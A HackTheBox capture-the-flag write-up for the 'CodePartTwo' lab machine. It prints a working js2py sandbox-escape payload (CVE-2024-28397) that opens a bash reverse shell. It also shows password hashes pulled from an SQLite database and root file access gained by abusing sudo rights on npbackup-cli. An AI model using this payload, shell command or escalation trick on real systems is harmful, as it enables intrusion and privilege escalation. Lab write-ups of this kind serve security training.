File Nº 0x6D / Subject: m0rgxn
Local --:--:--
← All writeupsCase 01 · Filed 24 Oct 2025 · HackTheBox · 2 min read

CodePartTwo

Rooted

First ever writeup


Evidence photo — case 01
This machine was very easy to find the initial foothold, it had its challenges and we’ll talk about them in the upcoming sections. I began by adding codeparttwo.htb to /etc/hosts using the following command:
Jsx
❯ echo "<MACHINE-IP> codeparttwo.htb" | sudo tee -a /etc/hosts
I then proceeded to do a port scan using nmap and this was the output:
Jsx
 Nmap scan report for codeparttwo.htb (IP)
Host is up (0.23s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a047b40c6967933af9b45db32fbc9e23 (RSA)
|   256 7d443ff1b1e2bb3d91d5da580f51e5ad (ECDSA)
|_  256 f16b1d3618067a053f0757e1ef86b485 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Welcome to CodePartTwo
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=10/24%OT=22%CT=1%CU=44303%PV=Y%DS=2%DC=T%G=Y%TM=68FB96
OS:C0%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=FF%TI=Z%CI=Z%TS=A)SEQ(SP=1
OS:00%GCD=1%ISR=FF%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M542ST11NW7%O2=M542ST11NW7%O3
OS:=M542NNT11NW7%O4=M542ST11NW7%O5=M542ST11NW7%O6=M542ST11)WIN(W1=FE88%W2=F
OS:E88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M542NNSNW
OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

We will get back to ssh port 22 later, let’s focus on the http port 8000. This is the page that we’re greeted with:
We can go ahead and do a quick registration and login to see what’s up
We can clearly see that we have an online code editor, where devs can run/save their code. Let’s download the source code for the app as it was mentioned that the project was open source to see the backend server logic and possibly disclose used library versions. This was the requirements.txt file :
And this is the part of the source code that was the most interesting:
Jsx
...
import json

js2py.disable_pyimport()
...
@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})
This tells us the logic behind the execution of javascript code. I went back to see if the version of js2py had any vulnerabilities and it was vulnerable to CVE-2024-28397 . The library’s disable_pyimport() sandboxing mechanism could be bypassed so that untrusted JavaScript could obtain references to Python objects and ultimately execute arbitrary Python code in the host process I did a quick search for a PoC and stumbled upon this Github repo that was very helpful but incomplete. https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape This was the final version of the payload:
Jsx
var cmd = "bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'"
var hacked, bymarve, n11
var getattr, obj

hacked = Object.getOwnPropertyNames(this)
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    var result;
    for(var i in o.__subclasses__()) {
        var item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
n11
After setting up a listener on my machine and running the payload in the app I got the web shell:
I connected to the users.db database with sqlite3 and I got the marco ’s password hash. I then went ahead and tried to crack the password.
Bash
app@codeparttwo:~/app$ find . -name *.db  
./instance/users.db
...

app@codeparttwo:~/app/instance$ sqlite3 users.db
sqlite3 users.db
.tables
code_snippet  user        
select * from user ;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
Let’s return to the ssh service that was found on the initial port enumeration and connect with the credentials that we found. marco can run the npbackup-cli as root user with sudo.
Jsx
marco@codeparttwo:~$ sudo -l
Matching Defaults entries for marco on codeparttwo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

After a little going back and forth and trying different approaches and debugging different errors, I came up with the conclusion that the backup has to be in the home directory of the user marco because when i tried to make the backup in the /tmp this error came up:
Bash
2025-10-24 20:33:15,379 :: CRITICAL :: Cannot save configuration file to /tmp/backup.conf: [Errno 13] Permission denied: '/tmp/backup.conf' 
So after writing the config file and making a directory for the repo, we can use the sudo to first test if the backup is working properly, and then dump root.txt .
Bash
marco@codeparttwo:~$ cat > backup.conf << 'EOF'
> conf_version: 3.0.1
> audience: public
> repos:
>   default:
>     repo_uri: "local:/tmp/mybackuprepo"
>     repo_group: default_group
>     backup_opts:
>       paths:
>       - /root
>       source_type: folder_list
>     repo_opts:
>       repo_password: "password123"
>       retention_policy: {}
> groups:
>   default_group: {}
> EOF
marco@codeparttwo:~$ mkdir -p /tmp/mybackuprepo
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c /tmp/backup.conf -b
2025-10-24 20:33:15,371 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-10-24 20:33:15,377 :: INFO :: Loaded config 5F66233A in /tmp/backup.conf
2025-10-24 20:33:15,378 :: INFO :: Encrypting non encrypted data in configuration file
...
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c ./backup.conf --dump "/root/root.txt"
<ROOT-FLAG>
{"result": false, "reason": "Program interrupted by error: "}

There you go! Happy pwning
§ Contents